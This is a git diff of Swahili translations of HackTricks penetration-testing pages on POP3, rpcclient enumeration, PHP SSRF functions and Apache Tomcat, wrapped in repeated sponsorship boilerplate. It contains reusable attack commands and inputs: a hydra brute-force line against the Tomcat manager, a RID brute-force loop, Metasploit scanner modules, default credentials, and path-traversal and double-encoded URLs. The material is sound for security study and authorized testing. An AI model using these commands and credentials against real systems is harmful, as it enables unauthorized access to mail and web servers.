* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -14,7 +14,7 @@
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,9 +22,9 @@
## Taarifa Msingi
**Itifaki ya Posta ya Ofisi (POP)** inaelezwa kama itifaki ndani ya uwanja wa uunganishaji wa kompyuta na Mtandao, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kufikika kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inajulikana zaidi kama toleo linalotumiwa sana.
**Itifaki ya Posta ya Ofisi (POP)** inaelezwa kama itifaki ndani ya uwanja wa uunganishaji wa kompyuta na Mtandao, ambayo hutumiwa kwa ajili ya kutoa na **kupata barua pepe kutoka kwenye seva ya barua pepe ya mbali**, ikifanya iwezekane kwenye kifaa cha ndani. Iliyowekwa ndani ya safu ya maombi ya mfano wa OSI, itifaki hii inawezesha watumiaji kupata na kupokea barua pepe. Uendeshaji wa **wateja wa POP** kawaida unajumuisha kuanzisha uhusiano na seva ya barua pepe, kupakua ujumbe wote, kuhifadhi ujumbe huu kwa kifaa cha mteja kwa ndani, na kisha kuuondoa kutoka kwenye seva. Ingawa kuna matoleo matatu ya itifaki hii, **POP3** inaonekana kuwa toleo linalotumiwa sana.
**Bandari za chaguo-msingi:** 110, 995(ssl)
**Bandari za msingi:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
@ -44,7 +44,7 @@ Unaweza kutumia amri `CAPA` kupata uwezo wa seva ya POP3.
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Plugin ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo la Windows).
Plugin ya `pop3-ntlm-info` itarudisha baadhi ya data "**nyeti**" (toleo za Windows).
### [POP3 kuvunja nguvu](../generic-methodologies-and-resources/brute-force.md#pop)
@ -64,15 +64,9 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
### Post-Exploitation
### Post Office Protocol (POP)
Post-exploitation is the phase where an attacker performs various tasks on a compromised system after successfully exploiting it. This phase is crucial for maintaining access, escalating privileges, and exfiltrating sensitive data. Some common post-exploitation activities include:
- **Maintaining Access**: Attackers may install backdoors or create new accounts to ensure persistent access to the compromised system.
- **Privilege Escalation**: Attackers may attempt to elevate their privileges on the system to gain access to more sensitive information or perform more damaging actions.
- **Data Exfiltration**: Attackers may steal sensitive data from the compromised system, such as user credentials, financial information, or intellectual property.
Post-exploitation activities are critical for achieving the attacker's goals and can be challenging to detect since they occur after the initial compromise. Security teams must be vigilant in monitoring for post-exploitation activities to prevent further damage to the system and data.
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials, conduct user enumeration, or even capture credentials by sniffing network traffic. Additionally, you can look for misconfigurations that may lead to unauthorized access to POP accounts.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -104,14 +98,14 @@ Kutoka [https://academy.hackthebox.com/module/112/section/1073](https://academy.
| **Mipangilio** | **Maelezo** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Inawezesha kuingiza kumbukumbu zote za upelelezi wa uthibitishaji. |
| `auth_debug_passwords` | Mipangilio hii inabadilisha kuingiza kwa undani, nywila zilizowasilishwa, na mpango unapata kuingizwa. |
| `auth_debug_passwords` | Mipangilio hii inabadilisha kina cha kuingiza kumbukumbu, nywila zilizowasilishwa, na mpango unapata kuingizwa. |
| `auth_verbose` | Kuingiza jaribio lisilofanikiwa la uthibitishaji na sababu zake. |
| `auth_verbose_passwords` | Nywila zilizotumiwa kwa uthibitishaji zinaingizwa na pia zinaweza kukatwa. |
| `auth_anonymous_username` | Hii inabainisha jina la mtumiaji litakalotumiwa wakati wa kuingia kwa kutumia mbinu ya ANONYMOUS SASL. |
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -158,13 +152,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
```
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,17 +4,17 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,12 +22,12 @@
### Maelezo ya Vitambulisho vya Kihusiano (RID) na Vitambulisho vya Usalama (SID)
**Vitambulisho vya Kihusiano (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji ya Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, kwa njia ya kipekee ndani ya kikoa cha mtandao.
**Vitambulisho vya Kihusiano (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji wa Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, ndani ya kikoa cha mtandao.
- **SIDs** hutumika kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kuwa kila uwanja unatofautishwa.
- **RIDs** huongezwa kwa SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Kombinisheni hii inaruhusu ufuatiliaji sahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji.
- **SIDs** hutumika kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kuwa kila kikoa kinaweza kutofautishwa.
- **RIDs** huongezwa kwenye SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Kombinisheni hii inaruhusu kufuatilia kwa usahihi na usimamizi wa ruhusa za vitu.
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho cha kipekee kinachochanganya SID ya uwanja na RID yake maalum, ikionyeshwa kwa muundo wa hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na cha kipekee kwa pepe ndani ya uwanja kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho kipekee kinachochanganya SID ya kikoa na RID yake maalum, iliyoonyeshwa kwa muundo wa hexadecimal (`0x457`) na decimal (`1111`). Hii husababisha kitambulisho kamili na kipekee kwa pepe ndani ya kikoa kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **Uchambuzi na rpcclient**
@ -40,11 +40,11 @@ Zana ya **`rpcclient`** kutoka Samba hutumiwa kwa kuingiliana na **vituo vya RPC
#### Uchambuzi wa Watumiaji
* **Watumiaji wanaweza kuorodheshwa** kwa kutumia: amri za `querydispinfo` na `enumdomusers`.
* **Watumiaji wanaweza kuorodheshwa** kwa kutumia: `querydispinfo` na `enumdomusers`.
* **Maelezo ya mtumiaji** kwa: `queryuser <0xrid>`.
* **Vikundi vya mtumiaji** kwa: `queryusergroups <0xrid>`.
* **SID ya mtumiaji inapata** kupitia: `lookupnames <jina la mtumiaji>`.
* **Vilivyo mbadala vya watumiaji** kwa: `queryuseraliases [builtin|domain] <sid>`.
* **Vidokezo vya watumiaji** kwa: `queryuseraliases [builtin|domain] <sid>`.
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -61,23 +61,23 @@ done
#### Uchambuzi wa Vikundi vya Kielelezo
* **Vikundi vya kielezo** kwa: `enumalsgroups <builtin|domain>`.
* **Wanachama wa kikundi cha kielezo** kwa: `queryaliasmem builtin|domain <0xrid>`.
* **Vikundi vya kielelezo** kwa: `enumalsgroups <builtin|domain>`.
* **Wanachama wa kikundi cha kielelezo** kwa: `queryaliasmem builtin|domain <0xrid>`.
#### Uchambuzi wa Miejeshi
#### Uchambuzi wa Maeneo
* **Miejeshi** kwa kutumia: `enumdomains`.
* **SID ya miejeshi inapata** kupitia: `lsaquery`.
* **Maelezo ya miejeshi yanapatikana** kwa: `querydominfo`.
* **Maeneo** kwa kutumia: `enumdomains`.
* **SID ya eneo** inapokelewa kupitia: `lsaquery`.
* **Maelezo ya eneo** yanapatikana kwa: `querydominfo`.
#### Uchambuzi wa Hisa
* **Hisa zote zilizopo** kwa: `netshareenumall`.
* **Maelezo kuhusu hisa maalum yanapata** kwa: `netsharegetinfo <share>`.
* **Maelezo kuhusu hisa maalum** yanaletwa kwa: `netsharegetinfo <share>`.
#### Operesheni Zaidi na SIDs
* **SIDs kwa jina** kwa: `lookupnames <username>`.
* **SIDs kwa jina** kwa kutumia: `lookupnames <username>`.
* **SIDs zaidi** kupitia: `lsaenumsid`.
* **RID cycling kuchunguza SIDs zaidi** inatekelezwa kwa: `lookupsids <sid>`.
@ -87,23 +87,23 @@ done
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | Pata maelezo ya mtumiaji |
| querygroup | Pata maelezo ya kikundi | |
| querydominfo | Pata maelezo ya kikoa | |
| enumdomusers | Uorodhesha watumiaji wa kikoa | |
| enumdomgroups | Uorodhesha vikundi vya kikoa | |
| createdomuser | Unda mtumiaji wa kikoa | |
| deletedomuser | Futa mtumiaji wa kikoa | |
| querydominfo | Pata maelezo ya eneo | |
| enumdomusers | Uorodhesha watumiaji wa eneo | |
| enumdomgroups | Uorodhesha vikundi vya eneo | |
| createdomuser | Unda mtumiaji wa eneo | |
| deletedomuser | Futa mtumiaji wa eneo | |
| lookupnames | LSARPC | Tafuta majina ya watumiaji hadi SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) thamani |
| lookupsids | Tafuta SIDs hadi majina ya watumiaji (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | |
| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | |
| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | |
| dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya kikoa |
| dsenumdomtrusts | Uorodhesha vikoa vinavyoaminika ndani ya msitu wa AD | |
| dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya eneo |
| dsenumdomtrusts | Uorodhesha maeneo ya kuaminiwa ndani ya msitu wa AD | |
Kuelewa vizuri jinsi zana za _**samrdump**_ **na** _**rpcdump**_ zinafanya kazi unapaswa kusoma [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujaribu Kwa Kujituma**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -111,7 +111,7 @@ Kuelewa vizuri jinsi zana za _**samrdump**_ **na** _**rpcdump**_ zinafanya kazi
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,21 +10,21 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Vipengele vya PHP vya SSRF
### Vifaa vya PHP vya SSRF
Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama matokeo ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF** ikiwa mtumiaji anaweza kudhibiti data:
Baadhi ya kazi kama vile **file\_get\_contents(), fopen(), file(), md5\_file()** hukubali URL kama data ya kuingiza ambayo itafuata kufanya **mabaya ya udhaifu wa SSRF ikiwa mtumiaji anaweza kudhibiti data:
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
@ -49,10 +49,10 @@ Connection: close
# Any of the previously mentioned functions will send those headers
```
{% hint style="warning" %}
Kwa habari zaidi kuhusu kasoro ya CRLF, angalia kosa hili [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
Kwa habari zaidi kuhusu kasoro hiyo ya CRLF, angalia kosa hili [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %}
Tafadhali elewa kuwa hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya uongo katika maombi, kama vile:
Tafadhali elewa kwamba hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya uongo katika maombi, kama vile:
```php
$url = "";
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
```
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -85,6 +85,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -4,9 +4,9 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -14,7 +14,7 @@
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@
## Ugunduzi
* Kawaida inaendeshwa kwenye **bandari 8080**
* **Kosa la kawaida la Tomcat:**
* **Kosa la Kawaida la Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
@ -39,7 +39,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Kutambua maeneo sahihi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizo la nguvu linapendekezwa ili kutambua kurasa hizi.
### **Uorodheshaji wa Majina ya Mtumiaji**
### **Uorodhishaji wa Majina ya Mtumiaji**
Kwa toleo la Tomcat la zamani kuliko 6, inawezekana kuorodhesha majina ya mtumiaji kupitia:
```bash
@ -56,29 +56,33 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t
* admin:tomcat
Majina haya ya mtumiaji na nywila yanaweza kujaribiwa kutumia:
Majina haya ya mtumiaji na nywila yanaweza jaribiwa kutumia:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
### **Shambulizi la Nguvu ya Kubadilisha**
Directory nyingine inayostahili kuzingatiwa ni **`/manager/status`**, ambayo inaonyesha toleo la Tomcat na OS, ikisaidia kutambua udhaifu.
Kujaribu shambulizi la nguvu kwenye saraka ya meneja, mtu anaweza kutumia:
### **Shambulio la Brute Force**
Kujaribu shambulio la nguvu kwenye directory ya meneja, mtu anaweza kutumia:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Mfumo wa Ufichuaji wa Nywila
## Makosa Yanayojulikana
Kupata `/auth.jsp` inaweza kufunua nywila katika mfumo wa nyuma chini ya hali za bahati nzuri.
### **Kufichua Nyuma ya Neno la Siri**
## Ufichuaji wa Nywila wa Nyuma Mara Mbili
Kupata `/auth.jsp` kunaweza kufichua neno la siri katika nyuma ya neno la siri chini ya hali za bahati nzuri.
Ufichuaji wa CVE-2007-1860 katika `mod_jk` inaruhusu upitishaji wa njia wa ufichuaji wa URL mara mbili, ikiruhusu ufikiaji usioidhinishwa kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini.
### **Ukodishaji wa URL Mara Mbili**
Udhaifu wa CVE-2007-1860 katika `mod_jk` inaruhusu ukodishaji wa njia mara mbili wa URL, kuruhusu ufikiaji usiohalali kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini.
Ili kupata wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html`
### /mifano
Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufunuliwa kwa habari na mashambulizi ya msimbo wa msalaba (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufichua habari na kushambuliwa na mashambulizi ya msalaba wa tovuti (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [habari zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /mifano/jsp/num/numguess.jsp
* /mifano/jsp/dates/date.jsp
@ -105,15 +109,15 @@ Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufunu
### **Udanganyifu wa Njia**
Katika [**miundombinu inayoweza kudhurika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/`
